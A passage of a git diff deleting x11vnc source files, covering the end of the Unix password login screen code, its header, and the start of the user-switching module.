- rfbDrawString(pscreen, &default8x16Font, x, y, li, white_pixel());
-
- char_row += 2;
-
- x = text_x();
- y = text_y();
- rfbDrawString(pscreen, &default8x16Font, x, y, log, white_pixel());
-
- char_col = strlen(log);
-
- unixpw_mark();
-
- unixpw_last_try_time = time(NULL);
- unixpw_keystroke(0, 0, 2);
- tries++;
- } else {
- unixpw_deny();
- }
-}
-
-static void set_db(void) {
- if (getenv("DEBUG_UNIXPW")) {
- db = atoi(getenv("DEBUG_UNIXPW"));
- rfbLog("DEBUG_UNIXPW: %d\n", db);
- }
-}
-
-void unixpw_keystroke(rfbBool down, rfbKeySym keysym, int init) {
- int x, y, i, rc, nmax = 100;
- static char user_r[100], user[100], pass[100];
- static int u_cnt = 0, p_cnt = 0, t_cnt = 0, first = 1;
- static int echo = 1;
- char keystr[100];
- char *str;
-
- if (skip_it) {
- return;
- }
-
- if (first) {
- set_db();
- first = 0;
- for (i=0; i < nmax; i++) {
- user_r[i] = '\0';
- user[i] = '\0';
- pass[i] = '\0';
- }
- }
-
- if (init) {
- in_login = 1;
- in_passwd = 0;
- unixpw_denied = 0;
- echo = 1;
- if (init == 1) {
- tries = 0;
- }
-
- u_cnt = 0;
- p_cnt = 0;
- t_cnt = 0;
- for (i=0; i<nmax; i++) {
- user[i] = '\0';
- pass[i] = '\0';
- }
- if (keep_unixpw_user) {
- free(keep_unixpw_user);
- keep_unixpw_user = NULL;
- }
- if (keep_unixpw_pass) {
- strzero(keep_unixpw_pass);
- free(keep_unixpw_pass);
- keep_unixpw_pass = NULL;
- }
- if (keep_unixpw_opts) {
- strzero(keep_unixpw_opts);
- free(keep_unixpw_opts);
- keep_unixpw_opts = NULL;
- }
-
- return;
- }
-
- if (unixpw_denied) {
- rfbLog("unixpw_keystroke: unixpw_denied state: 0x%x\n", (int) keysym);
- return;
- }
- if (keysym <= 0) {
- rfbLog("unixpw_keystroke: bad keysym1: 0x%x\n", (int) keysym);
- return;
- }
-
- /* rfbKeySym = uint32_t */
- /* KeySym = XID = CARD32 = (unsigned long or unsigned int on LONG64) */
- X_LOCK;
- str = XKeysymToString(keysym);
- X_UNLOCK;
- if (str == NULL) {
- rfbLog("unixpw_keystroke: bad keysym2: 0x%x\n", (int) keysym);
- return;
- }
-
- rc = snprintf(keystr, 100, "%s", str);
- if (rc < 1 || rc > 90) {
- rfbLog("unixpw_keystroke: bad keysym3: 0x%x\n", (int) keysym);
- return;
- }
-
- if (db > 2) {
- fprintf(stderr, "%s / %s 0x%x %s\n", in_login ? "login":"pass ",
- down ? "down":"up ", keysym, keystr);
- }
-
- if (keysym == XK_Return || keysym == XK_Linefeed || keysym == XK_Tab) {
- /* let "up" pass down below for Return case */
- if (down) {
- return;
- }
- } else if (! down) {
- return;
- }
- if (keysym == XK_F1) {
- char h1[] = "F1-Help: For 'login:' type in the username and press Enter, then for 'Password:' enter the password.";
- char hf[] = " Once logged in, username's X session will be searched for and if found then attached to.";
- char hc[] = " Once logged in, username's X session is sought and attached to, otherwise a new session is created.";
- char hx[] = " Once logged in, username's X session is sought and attached to, otherwise a login greeter is presented.";
- char h2[] = " Specify options after a ':' like this: username:opt,opt=val,... Where an opt may be any of:";
- char h3[] = " scale=... (n/m); scale_cursor=... (sc=); solid (so); id=; repeat; clear_mods (cm); clear_keys (ck);";
- char h4[] = " clear_all (ca); speeds=... (sp=); readtimeout=... (rd=) rotate=... (ro=); noncache (nc) (nc=n);";
- char h5[] = " geom=WxHxD (ge=); nodisplay=... (nd=); viewonly (vo); tag=...; gnome kde twm fvwm mwm dtwm wmaker";
- char h6[] = " xfce lxde enlightenment Xsession failsafe. Examples: fred:3/4,so,cm wilma:geom=1024x768x16,kde";
- int ch = 13, p;
- if (!pscreen || pscreen->width < 640 || pscreen->height < 480) {
- return;
- }
- if (f1_help) {
- p = black_pixel();
- f1_help = 0;
- } else {
- p = white_pixel();
- f1_help = 1;
- unixpw_last_try_time = time(NULL) + 45;
- }
- rfbDrawString(pscreen, &default6x13Font, 8, 2+1*ch, h1, p);
- if (use_dpy == NULL) {
- ;
- } else if (strstr(use_dpy, "cmd=FINDDISPLAY")) {
- rfbDrawString(pscreen, &default6x13Font, 8, 2+2*ch, hf, p);
- } else if (strstr(use_dpy, "cmd=FINDCREATEDISPLAY")) {
- if (strstr(use_dpy, "xdmcp")) {
- rfbDrawString(pscreen, &default6x13Font, 8, 2+2*ch, hx, p);
- } else {
- rfbDrawString(pscreen, &default6x13Font, 8, 2+2*ch, hc, p);
- }
- }
- rfbDrawString(pscreen, &default6x13Font, 8, 2+3*ch, h2, p);
- rfbDrawString(pscreen, &default6x13Font, 8, 2+4*ch, h3, p);
- rfbDrawString(pscreen, &default6x13Font, 8, 2+5*ch, h4, p);
- rfbDrawString(pscreen, &default6x13Font, 8, 2+6*ch, h5, p);
- rfbDrawString(pscreen, &default6x13Font, 8, 2+7*ch, h6, p);
- if (!f1_help) {
- rfbDrawString(pscreen, &default6x13Font, 8, 2+1*ch, "F1-Help:", white_pixel());
- }
- unixpw_mark();
- return;
- }
- if (unixpw_system_greeter_active && keysym == XK_Escape) {
- char *u = get_user_name();
- if (keep_unixpw) {
- char *colon = strchr(user, ':');
- keep_unixpw_user = strdup(u);
- keep_unixpw_pass = strdup("");
- if (colon) {
- keep_unixpw_opts = strdup(colon+1);
- } else {
- keep_unixpw_opts = strdup("");
- }
- check_unixpw_userprefs();
- }
- unixpw_system_greeter_active = 2;
- set_env("X11VNC_XDM_ONLY", "1");
- rfbLog("unixpw_system_greeter: VNC client pressed 'Escape'. Allowing\n");
- rfbLog("unixpw_system_greeter: a *FREE* (no password) connection to\n");
- rfbLog("unixpw_system_greeter: the system XDM/GDM/KDM login greeter.\n");
- if (1) {
- char msg[] = " Please wait... ";
- rfbDrawString(pscreen, &default8x16Font,
- text_x(), text_y(), msg, white_pixel());
- unixpw_mark();
-
- progress_skippy();
- }
- unixpw_accept(u);
- free(u);
- return;
- }
-
- if (in_login && keysym == XK_Escape && u_cnt == 0) {
- echo = 0;
- rfbLog("unixpw_keystroke: echo off.\n");
- return;
- }
-
- t_cnt++;
-
- if (in_login) {
- if (keysym == XK_BackSpace || keysym == XK_Delete) {
- if (u_cnt > 0) {
- user[u_cnt-1] = '\0';
- u_cnt--;
-
- x = text_x();
- y = text_y();
- if (scaling) {
- int x2 = x / scale_fac_x;
- int y2 = y / scale_fac_y;
- int w2 = char_w / scale_fac_x;
- int h2 = char_h / scale_fac_y;
-
- x2 = nfix(x2, dpy_x);
- y2 = nfix(y2, dpy_y);
-
- zero_fb(x2 - w2, y2 - h2, x2, y2);
- mark_rect_as_modified(x2 - w2,
- y2 - h2, x2, y2, 0);
- } else {
- zero_fb(x - char_w, y - char_h, x, y);
- mark_rect_as_modified(x - char_w,
- y - char_h, x, y, 0);
- }
- char_col--;
- }
-
- return;
- }
-
- if (keysym == XK_Return || keysym == XK_Linefeed || keysym == XK_Tab) {
- char pw[] = "Password: ";
-
- if (down) {
- /*
- * require Up so the Return Up is not processed
- * by the normal session after login.
- * (actually we already returned above)
- */
- return;
- }
-
- if (t_cnt == 1) {
- /* accidental initial return, e.g. from xterm */
- return;
- }
-
- in_login = 0;
- in_passwd = 1;
-
- char_row++;
- char_col = 0;
-
- x = text_x();
- y = text_y();
- rfbDrawString(pscreen, &default8x16Font, x, y, pw,
- white_pixel());
-
- char_col = strlen(pw);
- unixpw_mark();
- return;
- }
-
- if (u_cnt == 0 && keysym == XK_Up) {
- /*
- * Allow user to hit Up arrow at beginning to
- * regain their username plus any options.
- */
- int i;
- for (i=0; i < nmax; i++) {
- user[i] = '\0';
- }
- for (i=0; i < nmax; i++) {
- char str[10];
- user[u_cnt++] = user_r[i];
- if (user_r[i] == '\0') {
- break;
- }
- str[0] = (char) user_r[i];
- str[1] = '\0';
-
- x = text_x();
- y = text_y();
- if (echo) {
- rfbDrawString(pscreen, &default8x16Font, x, y,
- str, white_pixel());
- }
- mark_rect_as_modified(x, y-char_h, x+char_w,
- y, scaling);
- char_col++;
- usleep(10*1000);
- }
- return;
- }
-
- if (keysym < ' ' || keysym >= 0x7f) {
- /* require normal keyboard characters for username */
- rfbLog("unixpw_keystroke: bad keysym4: 0x%x\n", (int) keysym);
- return;
- }
-
- if (u_cnt >= nmax - 1) {
- /* user[u_cnt=99] will be '\0' */
- rfbLog("unixpw_deny: username too long: %d\n", u_cnt);
- for (i=0; i<nmax; i++) {
- user[i] = '\0';
- pass[i] = '\0';
- }
- unixpw_deny();
- return;
- }
-
-#if 0
- user[u_cnt++] = keystr[0];
-#else
- user[u_cnt++] = (char) keysym;
- for (i=0; i < nmax; i++) {
- /* keep a full copy of username */
- user_r[i] = user[i];
- }
- keystr[0] = (char) keysym;
-#endif
- keystr[1] = '\0';
-
- x = text_x();
- y = text_y();
-
-if (db && db <= 2) fprintf(stderr, "u_cnt: %d %d/%d ks: 0x%x '%s'\n", u_cnt, x, y, keysym, keystr);
-
- if (echo ) {
- rfbDrawString(pscreen, &default8x16Font, x, y, keystr, white_pixel());
- }
-
- mark_rect_as_modified(x, y-char_h, x+char_w, y, scaling);
- char_col++;
-
- return;
-
- } else if (in_passwd) {
- if (keysym == XK_BackSpace || keysym == XK_Delete) {
- if (p_cnt > 0) {
- pass[p_cnt-1] = '\0';
- p_cnt--;
- }
- return;
- }
- if (keysym == XK_Return || keysym == XK_Linefeed) {
- if (down) {
- /*
- * require Up so the Return Up is not processed
- * by the normal session after login.
- * (actually we already returned above)
- */
- return;
- }
-
- if (1) {
- char msg[] = " Please wait... ";
- rfbDrawString(pscreen, &default8x16Font,
- text_x(), text_y(), msg, white_pixel());
- unixpw_mark();
-
- progress_skippy();
- }
-
- in_login = 0;
- in_passwd = 0;
-
- pass[p_cnt++] = '\n';
- unixpw_verify_screen(user, pass);
- for (i=0; i<nmax; i++) {
- user[i] = '\0';
- pass[i] = '\0';
- }
- return;
- }
-
- if (keysym < ' ' || keysym >= 0x7f) {
- /* require normal keyboard characters for password */
- return;
- }
-
- if (p_cnt >= nmax - 2) {
- /* pass[u_cnt=98] will be '\n' */
- /* pass[u_cnt=99] will be '\0' */
- rfbLog("unixpw_deny: password too long: %d\n", p_cnt);
- for (i=0; i<nmax; i++) {
- user[i] = '\0';
- pass[i] = '\0';
- }
- unixpw_deny();
- return;
- }
-
- pass[p_cnt++] = (char) keysym;
-
- return;
-
- } else {
- /* should not happen... anyway clean up a bit. */
- u_cnt = 0;
- p_cnt = 0;
- for (i=0; i<nmax; i++) {
- user_r[i] = '\0';
- user[i] = '\0';
- pass[i] = '\0';
- }
-
- return;
- }
-}
-
-static void apply_opts (char *user) {
- char *p, *q, *str, *opts = NULL, *opts_star = NULL;
- rfbClientPtr cl;
- ClientData *cd;
- int i, notmode = 0;
-
- if (! unixpw_client) {
- rfbLog("apply_opts: unixpw_client is NULL\n");
- clean_up_exit(1);
- }
- cd = (ClientData *) unixpw_client->clientData;
- cl = unixpw_client;
-
- if (! cd) {
- rfbLog("apply_opts: no ClientData\n");
- }
-
- if (user && cd) {
- if (cd->unixname) {
- free(cd->unixname);
- }
- cd->unixname = strdup(user);
- rfbLog("apply_opts: set unixname to: %s\n", cd->unixname);
- }
-
- if (! unixpw_list) {
- return;
- }
- str = strdup(unixpw_list);
-
- /* apply any per-user options. */
- if (str[0] == '!') {
- p = strtok(str+1, ",");
- notmode = 1;
- } else {
- p = strtok(str, ",");
- }
- while (p) {
- if ( (q = strchr(p, ':')) != NULL ) {
- *q = '\0'; /* get rid of options. */
- } else {
- p = strtok(NULL, ",");
- continue;
- }
- if (user && !strcmp(user, p)) {
- /* will not happen in notmode */
- opts = strdup(q+1);
- }
- if (!strcmp("*", p)) {
- opts_star = strdup(q+1);
- }
- p = strtok(NULL, ",");
- }
- free(str);
-
- for (i=0; i < 2; i++) {
- char *s = (i == 0) ? opts_star : opts;
- if (s == NULL) {
- continue;
- }
- p = strtok(s, "+");
- while (p) {
- if (!strcmp(p, "viewonly")) {
- cl->viewOnly = TRUE;
- if (cd) {
- strncpy(cd->input, "-", CILEN);
- }
- } else if (!strcmp(p, "fullaccess")) {
- cl->viewOnly = FALSE;
- if (cd) {
- strncpy(cd->input, "-", CILEN);
- }
- } else if ((q = strstr(p, "input=")) == p) {
- q += strlen("input=");
- if (cd) {
- strncpy(cd->input, q, CILEN);
- }
- } else if (!strcmp(p, "deny")) {
- cl->viewOnly = TRUE;
- unixpw_deny();
- break;
- }
- p = strtok(NULL, "+");
- }
- free(s);
- }
-}
-
-void unixpw_accept(char *user) {
- apply_opts(user);
-
- if (!use_stunnel) {
- ssl_helper_pid(0, -2); /* waitall */
- }
-
- if (accept_cmd && strstr(accept_cmd, "popup") == accept_cmd) {
- if (use_dpy && strstr(use_dpy, "WAIT:") == use_dpy &&
- dpy == NULL) {
- /* handled in main() */
- unixpw_client->onHold = TRUE;
- } else if (! accept_client(unixpw_client)) {
- unixpw_deny();
- return;
- }
- }
-
- if (started_as_root == 1 && users_list
- && strstr(users_list, "unixpw=") == users_list) {
- if (getuid() && geteuid()) {
- rfbLog("unixpw_accept: unixpw= but not root\n");
- started_as_root = 2;
- } else {
- char *u = (char *)malloc(strlen(user)+1);
-
- u[0] = '\0';
- if (!strcmp(users_list, "unixpw=")) {
- sprintf(u, "+%s", user);
- } else {
- char *p, *str = strdup(users_list);
- p = strtok(str + strlen("unixpw="), ",");
- while (p) {
- if (!strcmp(p, user)) {
- sprintf(u, "+%s", user);
- break;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- }
-
- if (u[0] == '\0') {
- rfbLog("unixpw_accept skipping switch to user: %s\n", user);
- } else if (switch_user(u, 0)) {
- rfbLog("unixpw_accept switched to user: %s\n", user);
- } else {
- rfbLog("unixpw_accept failed to switch to user: %s\n", user);
- }
- free(u);
- }
- }
-
- if (unixpw_login_viewonly) {
- unixpw_client->viewOnly = TRUE;
- }
- unixpw_in_progress = 0;
- /* mutex */
- screen->permitFileTransfer = unixpw_file_xfer_save;
- if ((tightfilexfer = unixpw_tightvnc_xfer_save)) {
- /* this doesn't work: the current client is never registered! */
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- rfbLog("rfbRegisterTightVNCFileTransferExtension: 1\n");
- rfbRegisterTightVNCFileTransferExtension();
-#endif
- }
- unixpw_client = NULL;
- mark_rect_as_modified(0, 0, dpy_x, dpy_y, 0);
- if (macosx_console) {
- refresh_screen(1);
- }
-}
-
-void unixpw_deny(void) {
- int x, y, i;
- char pd[] = "Permission denied.";
-
- rfbLog("unixpw_deny: %d, %d\n", unixpw_denied, unixpw_in_progress);
- if (! unixpw_denied) {
- unixpw_denied = 1;
-
- char_row += 2;
- char_col = 0;
- x = char_x + char_col * char_w;
- y = char_y + char_row * char_h;
-
- rfbDrawString(pscreen, &default8x16Font, x, y, pd, white_pixel());
- unixpw_mark();
-
- for (i=0; i<5; i++) {
- rfbPE(-1);
- rfbPE(-1);
- usleep(500 * 1000);
- }
- }
-
- if (unixpw_client) {
- rfbCloseClient(unixpw_client);
- rfbClientConnectionGone(unixpw_client);
- rfbPE(-1);
- }
-
- unixpw_in_progress = 0;
- /* mutex */
- screen->permitFileTransfer = unixpw_file_xfer_save;
- if ((tightfilexfer = unixpw_tightvnc_xfer_save)) {
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- rfbLog("rfbRegisterTightVNCFileTransferExtension: 2\n");
- rfbRegisterTightVNCFileTransferExtension();
-#endif
- }
- unixpw_client = NULL;
- copy_screen();
-}
-
-void unixpw_msg(char *msg, int delay) {
- int x, y, i;
-
- char_row += 2;
- char_col = 0;
- x = char_x + char_col * char_w;
- y = char_y + char_row * char_h;
-
- rfbDrawString(pscreen, &default8x16Font, x, y, msg, white_pixel());
- unixpw_mark();
-
- for (i=0; i<5; i++) {
- rfbPE(-1);
- rfbPE(-1);
- rfbPE(50 * 1000);
- rfbPE(-1);
- usleep(500 * 1000);
- if (i >= delay) {
- break;
- }
- }
-}
diff --git a/x11vnc/unixpw.h b/x11vnc/unixpw.h
deleted file mode 100644
index 7b93d30..0000000
--- a/x11vnc/unixpw.h
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_UNIXPW_H
-#define _X11VNC_UNIXPW_H
-
-/* -- unixpw.h -- */
-
-extern int white_pixel(void);
-extern void unixpw_screen(int init);
-extern void unixpw_keystroke(rfbBool down, rfbKeySym keysym, int init);
-extern void unixpw_accept(char *user);
-extern void unixpw_deny(void);
-extern void unixpw_msg(char *msg, int delay);
-extern int su_verify(char *user, char *pass, char *cmd, char *rbuf, int *rbuf_size, int nodisp);
-extern int unixpw_cmd_run(char *user, char *pass, char *cmd, char *line, int *n);
-extern int crypt_verify(char *user, char *pass);
-extern int cmd_verify(char *user, char *pass);
-extern int unixpw_verify(char *user, char *pass);
-extern void unixpw_verify_screen(char *user, char *pass);
-
-extern int unixpw_in_progress;
-extern int unixpw_denied;
-extern int unixpw_in_rfbPE;
-extern int unixpw_login_viewonly;
-extern int unixpw_tightvnc_xfer_save;
-extern rfbBool unixpw_file_xfer_save;
-extern time_t unixpw_last_try_time;
-extern rfbClientPtr unixpw_client;
-extern int keep_unixpw;
-extern char *keep_unixpw_user;
-extern char *keep_unixpw_pass;
-extern char *keep_unixpw_opts;
-
-#endif /* _X11VNC_UNIXPW_H */
diff --git a/x11vnc/user.c b/x11vnc/user.c
deleted file mode 100644
index f09fbb9..0000000
--- a/x11vnc/user.c
+++ /dev/null
@@ -1,3155 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- user.c -- */
-
-#include "x11vnc.h"
-#include "solid.h"
-#include "cleanup.h"
-#include "scan.h"
-#include "screen.h"
-#include "unixpw.h"
-#include "sslhelper.h"
-#include "xwrappers.h"
-#include "connections.h"
-#include "inet.h"
-#include "keyboard.h"
-#include "cursor.h"
-#include "remote.h"
-#include "sslhelper.h"
-#include "avahi.h"
-
-void check_switched_user(void);
-void lurk_loop(char *str);
-int switch_user(char *user, int fb_mode);
-int read_passwds(char *passfile);
-void install_passwds(void);
-void check_new_passwds(int force);
-void progress_client(void);
-int wait_for_client(int *argc, char** argv, int http);
-rfbBool custom_passwd_check(rfbClientPtr cl, const char *response, int len);
-char *xdmcp_insert = NULL;
-
-static void switch_user_task_dummy(void);
-static void switch_user_task_solid_bg(void);
-static char *get_login_list(int with_display);
-static char **user_list(char *user_str);
-static void user2uid(char *user, uid_t *uid, gid_t *gid, char **name, char **home);
-static int lurk(char **users);
-static int guess_user_and_switch(char *str, int fb_mode);
-static int try_user_and_display(uid_t uid, gid_t gid, char *dpystr);
-static int switch_user_env(uid_t uid, gid_t gid, char *name, char *home, int fb_mode);
-static void try_to_switch_users(void);
-
-
-/* tasks for after we switch */
-static void switch_user_task_dummy(void) {
- ; /* dummy does nothing */
-}
-static void switch_user_task_solid_bg(void) {
- /* we have switched users, some things to do. */
- if (use_solid_bg && client_count) {
- solid_bg(0);
- }
-}
-
-void check_switched_user(void) {
- static time_t sched_switched_user = 0;
- static int did_solid = 0;
- static int did_dummy = 0;
- int delay = 15;
- time_t now = time(NULL);
-
- if (unixpw_in_progress) return;
-
- if (started_as_root == 1 && users_list) {
- try_to_switch_users();
- if (started_as_root == 2) {
- /*
- * schedule the switch_user_tasks() call
- * 15 secs is for piggy desktops to start up.
- * might not be enough for slow machines...
- */
- sched_switched_user = now;
- did_dummy = 0;
- did_solid = 0;
- /* add other activities */
- }
- }
- if (! sched_switched_user) {
- return;
- }
-
- if (! did_dummy) {
- switch_user_task_dummy();
- did_dummy = 1;
- }
- if (! did_solid) {
- int doit = 0;
- char *ss = solid_str;
- if (now >= sched_switched_user + delay) {
- doit = 1;
- } else if (ss && strstr(ss, "root:") == ss) {
- if (now >= sched_switched_user + 3) {
- doit = 1;
- }
- } else if (strcmp("root", guess_desktop())) {
- usleep(1000 * 1000);
- doit = 1;
- }
- if (doit) {
- switch_user_task_solid_bg();
- did_solid = 1;
- }
- }
-
- if (did_dummy && did_solid) {
- sched_switched_user = 0;
- }
-}
-
-/* utilities for switching users */
-static char *get_login_list(int with_display) {
- char *out;
-#if LIBVNCSERVER_HAVE_UTMPX_H
- int i, cnt, max = 200, ut_namesize = 32;
- int dpymax = 1000, sawdpy[1000];
- struct utmpx *utx;
-
- /* size based on "username:999," * max */
- out = (char *) malloc(max * (ut_namesize+1+3+1) + 1);
- out[0] = '\0';
-
- for (i=0; i<dpymax; i++) {
- sawdpy[i] = 0;
- }
-
- setutxent();
- cnt = 0;
- while (1) {
- char *user, *line, *host, *id;
- char tmp[10];
- int d = -1;
- utx = getutxent();
- if (! utx) {
- break;
- }
- if (utx->ut_type != USER_PROCESS) {
- continue;
- }
- user = lblanks(utx->ut_user);
- if (*user == '\0') {
- continue;
- }
- if (strchr(user, ',')) {
- continue; /* unlikely, but comma is our sep. */
- }
-
- line = lblanks(utx->ut_line);
- host = lblanks(utx->ut_host);
- id = lblanks(utx->ut_id);
-
- if (with_display) {
- if (0 && line[0] != ':' && strcmp(line, "dtlocal")) {
- /* XXX useful? */
- continue;
- }
-
- if (line[0] == ':') {
- if (sscanf(line, ":%d", &d) != 1) {
- d = -1;
- }
- }
- if (d < 0 && host[0] == ':') {
- if (sscanf(host, ":%d", &d) != 1) {
- d = -1;
- }
- }
- if (d < 0 && id[0] == ':') {
- if (sscanf(id, ":%d", &d) != 1) {
- d = -1;
- }
- }
-
- if (d < 0 || d >= dpymax || sawdpy[d]) {
- continue;
- }
- sawdpy[d] = 1;
- sprintf(tmp, ":%d", d);
- } else {
- /* try to eliminate repeats */
- int repeat = 0;
- char *q;
-
- q = out;
- while ((q = strstr(q, user)) != NULL) {
- char *p = q + strlen(user) + strlen(":DPY");
- if (q == out || *(q-1) == ',') {
- /* bounded on left. */
- if (*p == ',' || *p == '\0') {
- /* bounded on right. */
- repeat = 1;
- break;
- }
- }
- q = p;
- }
- if (repeat) {
- continue;
- }
- sprintf(tmp, ":DPY");
- }
-
- if (*out) {
- strcat(out, ",");
- }
- strcat(out, user);
- strcat(out, tmp);
-
- cnt++;
- if (cnt >= max) {
- break;
- }
- }
- endutxent();
-#else
- out = strdup("");
-#endif
- return out;
-}
-
-static char **user_list(char *user_str) {
- int n, i;
- char *p, **list;
-
- p = user_str;
- n = 1;
- while (*p++) {
- if (*p == ',') {
- n++;
- }
- }
- list = (char **) calloc((n+1)*sizeof(char *), 1);
-
- p = strtok(user_str, ",");
- i = 0;
- while (p) {
- list[i++] = strdup(p);
- p = strtok(NULL, ",");
- }
- list[i] = NULL;
- return list;
-}
-
-static void user2uid(char *user, uid_t *uid, gid_t *gid, char **name, char **home) {
- int numerical = 1, gotgroup = 0;
- char *q;
-
- *uid = (uid_t) -1;
- *name = NULL;
- *home = NULL;
-
- q = user;
- while (*q) {
- if (! isdigit((unsigned char) (*q++))) {
- numerical = 0;
- break;
- }
- }
-
- if (user2group != NULL) {
- static int *did = NULL;
- int i;
-
- if (did == NULL) {
- int n = 0;
- i = 0;
- while (user2group[i] != NULL) {
- n++;
- i++;
- }
- did = (int *) malloc((n+1) * sizeof(int));
- i = 0;
- for (i=0; i<n; i++) {
- did[i] = 0;
- }
- }
- i = 0;
- while (user2group[i] != NULL) {
- if (strstr(user2group[i], user) == user2group[i]) {
- char *w = user2group[i] + strlen(user);
- if (*w == '.') {
-#if (SMALL_FOOTPRINT > 2)
- gotgroup = 0;
-#else
- struct group* gr = getgrnam(++w);
- if (! gr) {
- rfbLog("Invalid group: %s\n", w);
- clean_up_exit(1);
- }
- *gid = gr->gr_gid;
- if (! did[i]) {
- rfbLog("user2uid: using group %s (%d) for %s\n",
- w, (int) *gid, user);
- did[i] = 1;
- }
- gotgroup = 1;
-#endif
- }
- }
- i++;
- }
- }
-
- if (numerical) {
- int u = atoi(user);
-
- if (u < 0) {
- return;
- }
- *uid = (uid_t) u;
- }
-
-#if LIBVNCSERVER_HAVE_PWD_H
- if (1) {
- struct passwd *pw;
- if (numerical) {
- pw = getpwuid(*uid);
- } else {
- pw = getpwnam(user);
- }
- if (pw) {
- *uid = pw->pw_uid;
- if (! gotgroup) {
- *gid = pw->pw_gid;
- }
- *name = pw->pw_name; /* n.b. use immediately */
- *home = pw->pw_dir;
- }
- }
-#endif
-}
-
-
-static int lurk(char **users) {
- uid_t uid;
- gid_t gid;
- int success = 0, dmin = -1, dmax = -1;
- char *p, *logins, **u;
- char **list;
- int lind;
-
- if ((u = users) != NULL && *u != NULL && *(*u) == ':') {
- int len;
- char *tmp;
-
- /* extract min and max display numbers */
- tmp = *u;
- if (strchr(tmp, '-')) {
- if (sscanf(tmp, ":%d-%d", &dmin, &dmax) != 2) {
- dmin = -1;
- dmax = -1;
- }
- }
- if (dmin < 0) {
- if (sscanf(tmp, ":%d", &dmin) != 1) {
- dmin = -1;
- dmax = -1;
- } else {
- dmax = dmin;
- }
- }
- if ((dmin < 0 || dmax < 0) || dmin > dmax || dmax > 10000) {
- dmin = -1;
- dmax = -1;
- }
-
- /* get user logins regardless of having a display: */
- logins = get_login_list(0);
-
- /*
- * now we append the list in users (might as well try
- * them) this will probably allow weird ways of starting
- * xservers to work.
- */
- len = strlen(logins);
- u++;
- while (*u != NULL) {
- len += strlen(*u) + strlen(":DPY,");
- u++;
- }
- tmp = (char *) malloc(len+1);
- strcpy(tmp, logins);
-
- /* now concatenate them: */
- u = users+1;
- while (*u != NULL) {
- char *q, chk[100];
- snprintf(chk, 100, "%s:DPY", *u);
- q = strstr(tmp, chk);
- if (q) {
- char *p = q + strlen(chk);
-
- if (q == tmp || *(q-1) == ',') {
- /* bounded on left. */
- if (*p == ',' || *p == '\0') {
- /* bounded on right. */
- u++;
- continue;
- }
- }
- }
-
- if (*tmp) {
- strcat(tmp, ",");
- }
- strcat(tmp, *u);
- strcat(tmp, ":DPY");
- u++;
- }
- free(logins);
- logins = tmp;
-
- } else {
- logins = get_login_list(1);
- }
-
- list = (char **) calloc((strlen(logins)+2)*sizeof(char *), 1);
- lind = 0;
- p = strtok(logins, ",");
- while (p) {
- list[lind++] = strdup(p);
- p = strtok(NULL, ",");
- }
- free(logins);
-
- lind = 0;
- while (list[lind] != NULL) {
- char *user, *name, *home, dpystr[10];
- char *q, *t;
- int ok = 1, dn;
-
- p = list[lind++];
-
- t = strdup(p); /* bob:0 */
- q = strchr(t, ':');
- if (! q) {
- free(t);
- break;
- }
- *q = '\0';
- user = t;
- snprintf(dpystr, 10, ":%s", q+1);
-
- if (users) {
- u = users;
- ok = 0;
- while (*u != NULL) {
- if (*(*u) == ':') {
- u++;
- continue;
- }
- if (!strcmp(user, *u++)) {
- ok = 1;
- break;
- }
- }
- }
-
- user2uid(user, &uid, &gid, &name, &home);
- free(t);
-
- if (! uid || ! gid) {
- ok = 0;
- }
-
- if (! ok) {
- continue;
- }
-
- for (dn = dmin; dn <= dmax; dn++) {
- if (dn >= 0) {
- sprintf(dpystr, ":%d", dn);
- }
- if (try_user_and_display(uid, gid, dpystr)) {
- if (switch_user_env(uid, gid, name, home, 0)) {
- rfbLog("lurk: now user: %s @ %s\n",
- name, dpystr);
- started_as_root = 2;
- success = 1;
- }
- set_env("DISPLAY", dpystr);
- break;
- }
- }
- if (success) {
- break;
- }
- }
-
- lind = 0;
- while (list[lind] != NULL) {
- free(list[lind]);
- lind++;
- }
-
- return success;
-}
-
-void lurk_loop(char *str) {
- char *tstr = NULL, **users = NULL;
-
- if (strstr(str, "lurk=") != str) {
- exit(1);
- }
- rfbLog("lurking for logins using: '%s'\n", str);
- if (strlen(str) > strlen("lurk=")) {
- char *q = strchr(str, '=');
